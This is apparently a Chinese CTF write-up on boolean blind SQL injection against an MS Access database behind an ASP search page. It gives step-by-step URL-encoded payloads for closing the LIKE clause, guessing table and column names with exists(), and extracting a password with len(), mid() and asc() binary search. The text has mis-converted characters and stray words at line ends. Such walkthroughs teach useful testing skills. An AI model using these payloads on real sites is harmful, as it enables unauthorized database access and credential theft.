access數據庫漸漸的被不少人遺忘。html
而大部分安全人員也對access數據庫也不感冒。python
最近在西晉學院玩了玩它的web題目,沒想到在西晉上面看到很多的asp的題。其中不乏有數據庫注入的。mysql
access數據庫並不像mysql那樣方便,能夠擁有information_schema這個包含數據各類數據庫,表以及字段信息的「新華字典」。web
雖然有一個msysobjects,可是大多狀況下即便管理員也沒辦法讀取其裏的信息,由於讀取它須要設置權限。sql
下面從西晉學院裏面的access盲注來講一下。數據庫
一、前提準備後端
一個Firefox火狐瀏覽器瀏覽器
TamperData--攔截每個咱們發出的web請求安全
二、分析請求less
咱們先看一下正常請求返回的內容
1、咱們選擇咱們的TamperData插件,
2、開啓tamper,準備攔截請求。在輸入框輸入咱們的測試值
Eg:(1)輸入「1」
發現返回頁面沒有內容
(2)輸入「'」
發現出現數據庫報錯。根據報錯信息,能夠知道數據庫使用jet database引擎。而access正是使用這種的引擎,咱們基本能夠肯定後端數據庫是access。同時能夠猜想咱們的這裏是搜索型注入,咱們輸入的數據被兩個%%包住。
猜想後端數據庫的查詢語句爲:
'select 標題,內容,時間 from news where 標題 like %(輸入)%'
3、肯定注入類型
(1)首先由單引號報錯咱們能夠肯定,這裏是字符串引發的數據庫注入
(2)準備驗證數據:
Eg:(1)輸入「' and '%'='」
這裏解釋一下,由於這裏的注入是搜索注入。注入點在"%input%"的input處,因此當咱們利用單引號閉合以前的語句時,須要平衡單引號的數目。上面的驗證數據在數據庫的查詢中變成
select 標題,內容,時間 from news where 標題 like '%' and '%'='%'
注意一下,紅色部分使咱們的驗證數據,能夠看到咱們經過字符串相等來平衡單引號數據。後面的邏輯部分「'%'='%'」爲真,也就是對於前面的查詢不形成影響。咱們來看看返回的內容。
(3)分析與思考
能夠看到這裏徹底沒有效果,可是按照數據庫查詢,'%'表示匹配全部內容,也就是咱們應該能夠看到和原來一致的頁面。可是這裏沒有出來。
那麼是否是咱們的驗證數據被後臺處理了?致使咱們的數據沒有起到真實的做用。
這個時候咱們應該利用報錯的來幫助咱們肯定後臺數據庫所作的處理。
咱們把最後面的單引號去掉,這時候發生了錯誤。咱們來分析一下返回的錯誤信息,能夠看到咱們的payload本來是有空格,可是在數據庫查詢中卻沒有,也就是後臺會將輸入去除空格。
那咱們修正咱們的輸入,咱們將咱們的內容空格進行url編碼,就是'%20'。這個時候咱們,我再看看返回什麼樣的信息。
Eg: '%20and%20'%'=
能夠看到此時返回的報錯信息中,已經存在了空格了,也就是咱們的修正成功。咱們補回去掉的單引號。
再次測試,Eg:'%20and%20'%'='
頁面卻是正常了,但是沒有數據呀。這時,咱們又的修正咱們的測試數據了。有些同窗想測試'&&',這個和and關鍵字有着同樣功能的運算符。可是注意一下在access中&爲字符串鏈接符,這和其餘數據庫不一致。
咱們這時候稍微翻轉一下思惟就能夠相處,要是and不行,那麼or呢?
Eg:'%20or%20'%'='
結果說明一切,能夠看到頁面返回的內容和原來的同樣的。這時候咱們再看回sql語句如今的表示。
select 標題,內容,時間 from news where 標題 like '%' or '%'='%'
這是,or '%'='%'恆真,也就是會檢索出全部內容來。
這時候咱們該怎樣進行下一步呢?
4、開始幹大事了
說在前面:
不少人在這裏會疑惑了,一個這樣注入點該怎樣利用。通常來講,這裏只能執行邏輯判斷,也就是這裏的注入是布爾類型的注入。咱們要注入的內容在'%'和or之間,而且用and運算符。
一個測試即是:
select 標題,內容,時間 from news where 標題 like '%' and 1=1 or '%'='%'
(1)對於access數據來講,若是不能利用msysobjects的話,咱們只能暴力破解表名、字段名了,而這個每每須要一個表名字典、字段名字典。
之前很經常使用的明小子、DSQL等工具在進行access數據注入的時候,也是經過字典來爆破錶名和字段名。
用到的payload以下
'%20and%20exists(select%20*%20from%20[表名])%20or%20'%'='
咱們經過不斷變化表名,只要表名是常見的而且在咱們的字典中,咱們就能夠破解出表名和字段名。
如圖,由於這裏是ctf,因此猜想表名admin、ctf、keys、flag、flags、pass、manager。最終只有manager生效。
admin表不存在
manager表存在
其實這個表名並不是博主猜的,是使用sqlmap的字典爆出來的。可是字段名倒是博主本身猜出來的。雖然sqlmap字典也有,~~~~(>_<)~~~~
可是sqlmap在爆破出表名以後不給力了,由於它布爾盲注用的是and而不是or,因此以後沒法猜想是表名的字段數,而後就不工做了。
猜想字段名很簡單,將上面的*換成字段名便可。
'%20and%20exists(select%20[字段名]%20from%20[表名])%20or%20'%'='
這裏猜,固然是猜通關的鑰匙,flag、flags、password、passwords、keys、key、pass。最後猜出來是pass,有沒有內流滿面的結果。
(2)以後就是重頭戲了,咱們已經把表名和字段名纔出了,咱們先看看有多少個數據以及數據的長度。
數據的行數比2小或者等於2
數據的行數比1小或者等於1
能夠看到數據的行數爲一
'%20and%20(select%20count(*)%20from%20manager)>2%20or%20'%'='
能夠看到這裏只有一行數據。而後咱們使用len()函數測試該數據的長度
'%20and%20(select%20len(pass)%20from%20manager)>10%20or%20'%'='
能夠看到,返回正常頁面。說明數據長度大於10.
'%20and%20(select%20len(pass)%20from%20manager)>20%20or%20'%'='
返回空白的頁面,數據長度小於20
'%20and%20(select%20len(pass)%20from%20manager)>15%20or%20'%'='
返回空白的頁面,數據長度小於15
'%20and%20(select%20len(pass)%20from%20manager)>13%20or%20'%'='
返回空白頁面,數據長度小於13
'%20and%20(select%20len(pass)%20from%20manager)>11%20or%20'%'='
返回正常頁面,數據長度大於11
'%20and%20(select%20len(pass)%20from%20manager)>12%20or%20'%'='
返回頁面空白,數據長度小於或等於12,根據上一次測試,知道長度等於12
(3)
日後,咱們須要用到個函數,一個
mid(string,start,length)這個用來截取字符串的,
|string是要截取的字符串 |
|start是截取的字符串開始索引|
|length是要截取的字符串長度 |
asc(char)這個用來說一個字符轉換爲對應的ascii數值
|char爲須要轉換的字符
咱們這裏須要修正payload來將pass盲注出來,a的ascii數值爲97,先判斷是否爲小寫的ascii的值
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>97%20or%20'%'='
能夠看到這裏返回的頁面並無內容,也就說第一個字符對應的ascii值小於97。這裏咱們修改成57,判斷是否爲數字
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>57%20or%20'%'='
能夠看到返回正常頁面,也就是第一個字母不是數字。剩下咱們測試大寫的字母,範圍65~90。採用而二分法,修改成78=(65+90/2)
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>78%20or%20'%'='
返回正常頁面,說明比78大。修改成(78+90)/2=84
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>84%20or%20'%'='
返回空頁面,說明比84小,如今範圍限制在[78,84]之間,取81
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>81%20or%20'%'='
返回正常頁面,說明比81大,取82做爲測試數值。
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>82%20or%20'%'='
返回正常頁面,說明比82大,取83做爲測試數值
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))>83%20or%20'%'='
返回頁面正常,說明比84大,測試是否等於84
'%20and%20asc(mid((select%20pass%20from%20manager),1,1))=84%20or%20'%'='
查表能夠知道,第一個字符爲「T」
(4)後續的內容,咱們只須要修改mid的第二個參數爲2,便可盲注第二個字符。更多的內容能夠參考,我以前的帖子,關於使用python盲注mysql的,核心的仍是二分法。
連接:ClickMe